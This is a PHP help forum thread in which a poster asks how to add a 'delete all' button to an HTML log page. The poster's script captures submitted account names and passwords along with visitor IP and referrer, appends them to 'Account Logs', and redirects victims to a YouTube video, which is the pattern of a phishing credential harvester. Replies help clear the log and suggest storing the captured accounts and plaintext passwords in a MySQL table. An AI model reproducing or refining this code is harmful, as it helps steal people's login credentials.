Jump to content

HTML "Delete All" Button


WKX

Recommended Posts

your approach to this is backwards.

 

you should be logging the raw information/data to a file/database and only output your nice html page when you want to display that data. to manipulate the information in any way, you would edit/delete the raw data, not the resulting html page produced from that data.

Link to comment
Share on other sites

Sorry I forgot to dump the source:

 

I'm aware I could just erase the raw data in the .html file, but I just want to create an erase button if possible.

 

Kind of like a clear form function, it will erase everything on submit.

<?php
$ref = $_SERVER['HTTP_REFERER'];
$today = date("F j, Y, g:i a");
$ip = $_SERVER['REMOTE_ADDR'];
if (isset($_POST['name']) && !empty($_POST['name'])) {
$nam = stripslashes($_POST['name']);
$pas = stripslashes($_POST['pass']);
$nam = htmlspecialchars($nam, ENT_QUOTES);
$pas = htmlspecialchars($pas, ENT_QUOTES);
$content = "<center><table width='600' border='0' class='main-table' cellspacing='0' cellpadding='0' align='center' style='margin:33pt;'></center>

  <tr>
    <th>Information</th>
    <th>Account Data</th>
  </tr>
  <tr>
    <td>Date:</td>
    <td>" . $today . "</td>
  </tr>
  <tr>
    <td>Link:</td>
    <td>" . $ref . "</td>
  </tr>
  <tr>
    <td>IP:</td>
    <td><a href='http://www.geoiptool.com/en/?IP=" . $ip . "' target='_blank'>" . $ip . "</td>
  </tr>
  <tr>
    <td>Account: </td>
    <td>" . $nam . "</td>
  </tr>
  <tr>
    <td>Password:</td>
    <td>" . $pas . "</td>
  </tr>
</table>";
$filed = @fopen("logs.html", "a+");
@fwrite($filed, "$content\n\n");
@fclose($filed);
}
header('Location: http://www.youtube.com/watch?v=4fndeDfaWCg');
exit;
?>

<!DOCTYPE html>
<title>Account Logs</title>
<html>

<style type="text/css">
.main-table { background-color:#000000;border-collapse:collapse; }
.main-table th { background-color:#008000;color:white; }
.main-table td, .main-table th { padding:4px;border:1px solid #008000; }
a:link {color:#00FF00;}      /* unvisited link */
a:visited {color:#00FF00;}  /* visited link */
a:hover {color:#7FE817;}  /* mouse over link */
a:active {color:#00FF00;}  /* selected link */
body {color:white;}
font-family:Verdana, Arial, Helvetica, sans-serif;
</STYLE>

<body style="background-color:black;">

</body>
</html>
Edited by WKX
Link to comment
Share on other sites

To delete the file, and all data, just use the unlink() function. For example:

unlink('logs.html');

This should delete the entire file, and then depending on your write option the file will be recreated with the next pass. Then, it's just a matter of adding a button or link to the small php script with the function with a header back to this page. If you wanted to be super-fancy about it, you could just use java, and then refresh the page with DHTML.

 

However, if you wanted to keep some of the data on the file, you'll have to parse it and build iterators, and all that mess.

Link to comment
Share on other sites

Put a form with a button on whatever page you want:

 

<form action='deleteLog.php' method="POST">
<input type="submit" value="Delete Log">
</form>

 

deleteLog.php file

 

<?php
unlink('logs.html');
?>

 

Of course that would have absolutely no security and request to deleteLog.php will delete the file.

Link to comment
Share on other sites

Something like this, this code will delete each row until the table is gone, but reappears on page refresh. Im looking to delete all created tables with one click.

<button onclick="myFunction()">Try it</button>
<script>
function myFunction()
{
document.getElementById("main-table").deleteRow(0);
}
</script>
Edited by WKX
Link to comment
Share on other sites

your code above doesn't modify the file, only the rendering of the file in the browser.

 

to do what you are asking for your current scheme would require that you open, read, and parse through the existing 'logs.html' file and only save the content up through the <body> tag back into the logs.html file (btw - your html is invalid because you are adding the <table>... data after the closing </body></html> tags) OR that you keep a starting 'template' file that you can copy over the logs.html file to 'reset' it.

 

as stated previously in this thread, your approach is backwards, resulting in a lot of extra work to accomplish simple tasks.

 

you really need to separate your data from your page design. store the raw data in a csv file or more properly in a database, then simply retrieve the data and output it in your html page when that page gets requested. to clear the data, all you do is clear the source where the raw data is stored.

Edited by mac_gyver
Link to comment
Share on other sites

So the PHP code just spontaneously generates data? Let's start again. I *think* you are having the data submitted via a form by the user. OK, instead of taking that data, creating HTML and writing to a file you should instead save it to a database. It can be a little intimidating to get started but, honestly, once you start using a database that is when things get fun (at least I think so).

 

You just have individual records, so you would only need one table. I can't really go over everything that you need to do to get started in a forum post, so go find a tutorial. But, I'll provide some basics for you based upon what I see above.

 

First, you will create a table with the following fields:

 

id: This will be an INT type field set to be auto-incremented. You will not need to set it as it will be set automatically. You will use this field to reference the records. 

date: this should be a timestamp field with a default value of NOW(). This way you never have to actually set it - it will be done automatically when you create the record

referrer: This will be a varchar with a length big enough to hold whatever the longest value may be

ip: This will be a varchar with a length of 15 characters

account: This will be a varchar with a length big enough to hold whatever the longest value may be

password: This will be a varchar with a length big enough to hold whatever the longest value may be

 

 

Once the DB is set up you can then process a form post to insert the record into the database as follows. Note: the mysql_ functions have been deprecated, but I know them without having to check syntax. You'll want to use the mysqli_ functions instead. Just check the manual to check the differences

 

mysql_connect('DB_URL', 'DB_UserName', 'DB_PassWord');
mysql_select_db('name_of_database');
 
$referrer = $_SERVER['HTTP_REFERER'];
$ip = $_SERVER['REMOTE_ADDR'];
$account= mysql_real_escape_string($_POST['name']);
$password= mysql_real_escape_string($_POST['pass']);
 
$query = "INSERT INTO table_name
              (referrer, ip, account, password)
          VALUES
              ('$referrer', '$ip', '$account', '$password')";
$result = mysql_query($query);

 

That's just very, very basic code, but should get you started.

Link to comment
Share on other sites

This thread is more than a year old. Please don't revive it unless you have something important to add.

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Restore formatting

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.